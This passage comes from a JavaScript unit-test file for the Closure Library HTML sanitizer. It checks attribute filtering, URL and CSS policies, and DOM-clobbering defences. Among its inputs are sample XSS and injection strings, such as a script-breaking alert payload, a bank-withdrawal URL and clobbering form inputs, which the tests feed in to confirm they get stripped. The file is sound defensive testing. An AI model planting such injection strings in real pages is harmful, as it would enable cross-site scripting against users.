// Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0]
// NOTE(danesh): We expect this to fail. More of a JS sanitizer check or a
// server-side template vulnerability test.
// safeHtml = '';
// xssHtml = '\";alert(window);//';
// assertSanitizedHtml(xssHtml, safeHtml);
}
function testDataAttributes() {
var html = '<div data-xyz="test">Testing</div>';
var safeHtml = '<div>Testing</div>';
assertSanitizedHtml(html, safeHtml);
html = '<div data-goomoji="test" data-other="xyz">Testing</div>';
var expectedHtml = '<div data-goomoji="test">Testing</div>';
assertSanitizedHtml(
html, expectedHtml, new goog.html.sanitizer.HtmlSanitizer.Builder()
.allowCssStyles()
.allowDataAttributes(['data-goomoji'])
.build());
}
function testDisallowedDataWhitelistingAttributes() {
assertThrows(function() {
new goog.html.sanitizer.HtmlSanitizer.Builder()
.allowDataAttributes(['datai'])
.build();
});
// Disallow internal attribute used by html sanitizer
assertThrows(function() {
new goog.html.sanitizer.HtmlSanitizer.Builder()
.allowDataAttributes(['data-i', 'data-sanitizer-safe'])
.build();
});
}
function testFormBody() {
var safeHtml = '<form>stuff</form>';
var formHtml = '<form name="body">stuff</form>';
assertSanitizedHtml(
formHtml, safeHtml,
new goog.html.sanitizer.HtmlSanitizer.Builder().allowFormTag().build());
}
function testStyleTag() {
var safeHtml = '';
var xssHtml = '<STYLE>P.special {color : green;border: solid red;}</STYLE>';
assertSanitizedHtml(xssHtml, safeHtml);
}
function testOnlyAllowTags() {
var result = '<div><span></span>' +
'<a href="http://www.google.com">hi</a>' +
'<br>Test.<span></span><div align="right">Test</div></div>';
// If we were mimicing goog.labs.html.sanitizer, our output would be
// '<div><a>hi</a><br>Test.<div>Test</div></div>';
assertSanitizedHtml(
'<div><img id="bar" name=foo class="c d" ' +
'src="http://wherever.com">' +
'<a href=" http://www.google.com">hi</a>' +
'<br>Test.<hr><div align="right">Test</div></div>',
result, new goog.html.sanitizer.HtmlSanitizer.Builder()
.onlyAllowTags(['bR', 'a', 'DIV'])
.build());
}
function testDisallowNonWhitelistedTags() {
assertThrows('Should error on elements not whitelisted', function() {
new goog.html.sanitizer.HtmlSanitizer.Builder().onlyAllowTags(['x']);
});
}
function testDefaultPoliciesAreApplied() {
var result = '<img /><a href="http://www.google.com">hi</a>' +
'<a href="ftp://whatever.com">another</a>';
assertSanitizedHtml(
'<img id="bar" name=foo class="c d" ' +
'src="http://wherever.com">' +
'<a href=" http://www.google.com">hi</a>' +
'<a href=ftp://whatever.com>another</a>',
result);
}
function testCustomNamePolicyIsApplied() {
var result = '<img name="myOwnPrefix-foo" />' +
'<a href="http://www.google.com">hi</a>' +
'<a href="ftp://whatever.com">another</a>';
assertSanitizedHtml(
'<img id="bar" name=foo class="c d" ' +
'src="http://wherever.com"><a href=" http://www.google.com">hi</a>' +
'<a href=ftp://whatever.com>another</a>',
result, new goog.html.sanitizer.HtmlSanitizer.Builder()
.withCustomNamePolicy(function(name) {
return 'myOwnPrefix-' + name;
})
.build());
}
function testCustomTokenPolicyIsApplied() {
var result = '<img id="myOwnPrefix-bar" ' +
'class="myOwnPrefix-c myOwnPrefix-d" />' +
'<a href="http://www.google.com">hi</a>' +
'<a href="ftp://whatever.com">another</a>';
assertSanitizedHtml(
'<img id="bar" name=foo class="c d" ' +
'src="http://wherever.com"><a href=" http://www.google.com">hi</a>' +
'<a href=ftp://whatever.com>another</a>',
result, new goog.html.sanitizer.HtmlSanitizer.Builder()
.withCustomTokenPolicy(function(name) {
return 'myOwnPrefix-' + name;
})
.build());
}
function testMultipleCustomPoliciesAreApplied() {
var result = '<img id="plarpalarp-bar" name="larlarlar-foo" ' +
'class="plarpalarp-c plarpalarp-d" />' +
'<a href="http://www.google.com">hi</a>' +
'<a href="ftp://whatever.com">another</a>';
assertSanitizedHtml(
'<img id="bar" name=foo class="c d" ' +
'src="http://wherever.com"><a href=" http://www.google.com">hi</a>' +
'<a href=ftp://whatever.com>another</a>',
result,
new goog.html.sanitizer.HtmlSanitizer.Builder()
.withCustomTokenPolicy(function(token) {
return 'plarpalarp-' + token;
})
.withCustomNamePolicy(function(name) { return 'larlarlar-' + name; })
.build());
}
function testNonTrivialCustomPolicy() {
var result = '<img /><a href="http://www.google.com" name="Alacrity">hi</a>' +
'<a href="ftp://whatever.com">another</a>';
assertSanitizedHtml(
'<img id="bar" name=foo class="c d" src="http://wherever.com">' +
'<a href=" http://www.google.com" name=Alacrity>hi</a>' +
'<a href=ftp://whatever.com>another</a>',
result,
new goog.html.sanitizer.HtmlSanitizer.Builder()
.withCustomNamePolicy(function testNamesMustBeginWithTheLetterA(
name) { return name.charAt(0) != 'A' ? null : name; })
.build());
}
function testNetworkRequestUrlsAllowed() {
var result = '<img src="http://wherever.com" />' +
'<img src="https://secure.wherever.com" />' +
'<img alt="test" src="//wherever.com" />' +
'<a href="http://www.google.com">hi</a>' +
'<a href="ftp://whatever.com">another</a>';
assertSanitizedHtml(
'<img id="bar" name=foo class="c d" src="http://wherever.com">' +
'<img src="https://secure.wherever.com">' +
'<img alt="test" src="//wherever.com">' +
'<a href=" http://www.google.com">hi</a>' +
'<a href=ftp://whatever.com>another</a>',
result, new goog.html.sanitizer.HtmlSanitizer.Builder()
.withCustomNetworkRequestUrlPolicy(goog.html.SafeUrl.sanitize)
.build());
}
function testCustomNRUrlPolicyMustNotContainParameters() {
var result = '<img src="http://wherever.com" /><img />';
assertSanitizedHtml(
'<img id="bar" class="c d" src="http://wherever.com">' +
'<img src="https://www.bank.com/withdraw?amount=onebeeeelion">',
result, new goog.html.sanitizer.HtmlSanitizer.Builder()
.withCustomNetworkRequestUrlPolicy(function(url) {
return url.match(/\?/) ? null :
goog.html.testing.newSafeUrlForTest(url);
})
.build());
}
function testPolicyHints() {
var sanitizer =
new goog.html.sanitizer.HtmlSanitizer.Builder()
.allowFormTag()
.withCustomNetworkRequestUrlPolicy(function(url, policyHints) {
if ((policyHints.tagName == 'img' &&
policyHints.attributeName == 'src') ||
(policyHints.tagName == 'input' &&
policyHints.attributeName == 'src')) {
return goog.html.testing.newSafeUrlForTest(
'https://imageproxy/?' + url);
} else {
return null;
}
})
.withCustomUrlPolicy(function(url, policyHints) {
if (policyHints.tagName == 'a' &&
policyHints.attributeName == 'href') {
return goog.html.testing.newSafeUrlForTest(
'https://linkproxy/?' + url);
}
return goog.html.SafeUrl.sanitize(url);
})
.build();
// TODO(user): update this test to include a stylesheet once they're
// supported (in order to view both branches of the NRUrlPolicy).
var result = '<img src="https://imageproxy/?http://image" /> ' +
'<input type="image" src="https://imageproxy/?http://another" />' +
'<a href="https://linkproxy/?http://link">a link</a>' +
'<form action="http://formaction"></form>';
assertSanitizedHtml(
'<img src="http://image"> <input type="image" ' +
'src="http://another"><a href="http://link">a link</a>' +
'<form action="http://formaction"></form>',
result, sanitizer);
}
function testNRUrlPolicyAffectsCssSanitization() {
var sanitizer =
new goog.html.sanitizer.HtmlSanitizer.Builder()
.allowCssStyles()
.withCustomNetworkRequestUrlPolicy(function(url, policyHints) {
// Network request URLs may only be over https.
if (!/^https:\/\//i.test(url)) {
return null;
}
// CSS background URLs may only come from google.com.
if (policyHints.cssProperty === 'background-image') {
if (!/^https:\/\/www\.google\.com\//i.test(url)) {
return null;
}
}
return goog.html.SafeUrl.sanitize(url);
})
.build();
var sanitizedHtml;
try {
sanitizedHtml = sanitizer.sanitize(
'<div style="background: url(\'https://www.google.com/i.png\')"></div>');
if (isIE9()) {
assertEquals('', goog.html.SafeHtml.unwrap(sanitizedHtml));
return;
}
assertRegExp(
/background(?:-image)?:.*url\(.?https:\/\/www.google.com\/i.png.?\)/,
getStyle(sanitizedHtml));
} catch (err) {
if (!isIE8()) {
throw err;
}
}
try {
sanitizedHtml = sanitizer.sanitize(
'<div style="background: url(\'https://wherever/\')"></div>');
assertNotContains(
'https://wherever/', goog.html.SafeHtml.unwrap(sanitizedHtml));
} catch (err) {
if (!isIE8()) {
throw err;
}
}
sanitizedHtml = '<img src="https://www.google.com/i.png">';
assertSanitizedHtml(sanitizedHtml, sanitizedHtml, sanitizer);
sanitizedHtml = '<img src="https://wherever/">';
assertSanitizedHtml(sanitizedHtml, sanitizedHtml, sanitizer);
}
function testAllowOnlyHttpAndHttpsAndFtpForNRUP() {
var input = '<img src="http://whatever">' +
'<img src="https://whatever">' +
'<img src="ftp://nope">' +
'<img src="garbage:nope">' +
'<img src="data:yep">';
var expected = '<img src="http://whatever" />' +
'<img src="https://whatever" />' +
'<img src="ftp://nope">' +
'<img />' +
'<img />';
assertSanitizedHtml(
input, expected,
new goog.html.sanitizer.HtmlSanitizer.Builder()
.withCustomNetworkRequestUrlPolicy(goog.html.SafeUrl.sanitize)
.build());
}
function testUriSchemesOnNonNetworkRequestUrls() {
var input = '<a href="ftp://yep">something</a>' +
'<a href="gopher://yep">something</a>' +
'<a href="gopher:nope">something</a>' +
'<a href="http://yep">something</a>' +
'<a href="https://yep">something</a>' +
'<a href="garbage://nope">something</a>' +
'<a href="relative/yup">something</a>' +
'<a href="nope">something</a>' +
'<a>lol</a>';
var expected = '<a href="ftp://yep">something</a>' +
'<a>something</a>' +
'<a>something</a>' +
'<a href="http://yep">something</a>' +
'<a href="https://yep">something</a>' +
'<a>something</a>' +
'<a href="relative/yup">something</a>' +
'<a href="nope">something</a>' +
'<a>lol</a>';
assertSanitizedHtml(
input, expected, new goog.html.sanitizer.HtmlSanitizer.Builder()
.withCustomUrlPolicy(goog.html.SafeUrl.sanitize)
.build());
}
function testOverridingGetOrSetAttribute() {
var input = '<form>' +
'<input name=setAttribute />' +
'<input name=getAttribute />' +
'</form>';
var expected = '<form><input><input></form>';
assertSanitizedHtml(
input, expected,
new goog.html.sanitizer.HtmlSanitizer.Builder().allowFormTag().build());
}
function testOverridingBookkeepingAttribute() {
var input = '<div data-sanitizer-foo="1" alt="b">Hello</div>';
var expected = '<div alt="b">Hello</div>';
assertSanitizedHtml(
input, expected,
new goog.html.sanitizer.HtmlSanitizer.Builder()
.withCustomTokenPolicy(function(token) { return token; })
.build());
}
function testTemplateRemoved() {
var input = '<div><template><h1>boo</h1></template></div>';
var expected = '<div></div>';
assertSanitizedHtml(input, expected);
}
/**
* Shorthand for sanitized tags
* @param {string} tag
* @return {string}
*/
function otag(tag) {
return 'data-sanitizer-original-tag="' + tag + '"';
}
function testOriginalTag() {
var input = '<p>Line1<magic></magic></p>';
var expected = '<p>Line1<span ' + otag('magic') + '></span></p>';
assertSanitizedHtml(
input, expected, new goog.html.sanitizer.HtmlSanitizer.Builder()
.addOriginalTagNames()
.build());
}
function testOriginalTagOverwrite() {
var input = '<div id="qqq">hello' +
'<a:b id="hi" class="hnn a" boo="3">qqq</a:b></div>';
var expected = '<div>hello<span ' + otag('a:b') + ' id="HI" class="hnn a">' +
'qqq</span></div>';
assertSanitizedHtml(
input, expected, new goog.html.sanitizer.HtmlSanitizer.Builder()
.addOriginalTagNames()
.withCustomTokenPolicy(function(token, hints) {
var an = hints.attributeName;
if (an === 'id' && token === 'hi') {
return 'HI';
} else if (an === 'class') {
return token;
}
return null;
})
.build());
}
function testOriginalTagClobber() {
var input = '<a:b data-sanitizer-original-tag="xss"></a:b>';
var expected = '<span ' + otag('a:b') + '></span>';
assertSanitizedHtml(
input, expected, new goog.html.sanitizer.HtmlSanitizer.Builder()
.addOriginalTagNames()
.build());
}
// the tests below investigate how <span> behaves when it is unknowingly put
// as child or parent of other elements due to sanitization. <div> had even more
// problems (e.g. cannot be a child of <p>)
/**
* Sanitize content, let the browser apply its own HTML tree correction by
* attaching the content to the document, and then assert it matches the
* expected value.
* @param {string} expected
* @param {string} input
*/
function assertAfterInsertionEquals(expected, input) {
var sanitizer =
new goog.html.sanitizer.HtmlSanitizer.Builder().allowFormTag().build();
input = goog.html.SafeHtml.unwrap(sanitizer.sanitize(input));
var div = document.createElement('div');
document.body.appendChild(div);
div.innerHTML = input;
goog.testing.dom.assertHtmlMatches(
expected, div.innerHTML, true /* opt_strictAttributes */);
div.parentNode.removeChild(div);
}
function testSpanNotCorrectedByBrowsersOuter() {
if (isIE8() || isIE9()) {
return;
}
goog.array.forEach(
goog.object.getKeys(goog.html.sanitizer.TagWhitelist), function(tag) {
if (goog.array.contains(
[
'BR', 'IMG', 'AREA', 'COL', 'COLGROUP', 'HR', 'INPUT',
'SOURCE', 'WBR'
],
tag)) {
return; // empty elements, ok
}
if (goog.array.contains(['CAPTION'], tag)) {
return; // potential problems
}
if (goog.array.contains(['NOSCRIPT'], tag)) {
return; // weird/not important
}
if (goog.array.contains(
[
'SELECT', 'TABLE', 'TBODY', 'TD', 'TR', 'TEXTAREA', 'TFOOT',
'THEAD', 'TH'
],
tag)) {
return; // consistent in whitelist, ok
}
var input = '<' + tag.toLowerCase() + '>a<span></span>a</' +
tag.toLowerCase() + '>';
assertAfterInsertionEquals(input, input);
});
}
function testSpanNotCorrectedByBrowsersInner() {
if (isIE8() || isIE9()) {
return;
}
goog.array.forEach(
goog.object.getKeys(goog.html.sanitizer.TagWhitelist), function(tag) {
if (goog.array.contains(
[
'CAPTION', 'TABLE', 'TBODY', 'TD', 'TR', 'TEXTAREA', 'TFOOT',
'THEAD', 'TH'
],
tag)) {
return; // consistent in whitelist, ok
}
if (goog.array.contains(['COL', 'COLGROUP'], tag)) {
return; // potential problems
}
// TODO(pelizzi): Skip testing for FORM tags on Chrome until b/32550695
// is fixed.
if (tag == 'FORM' && goog.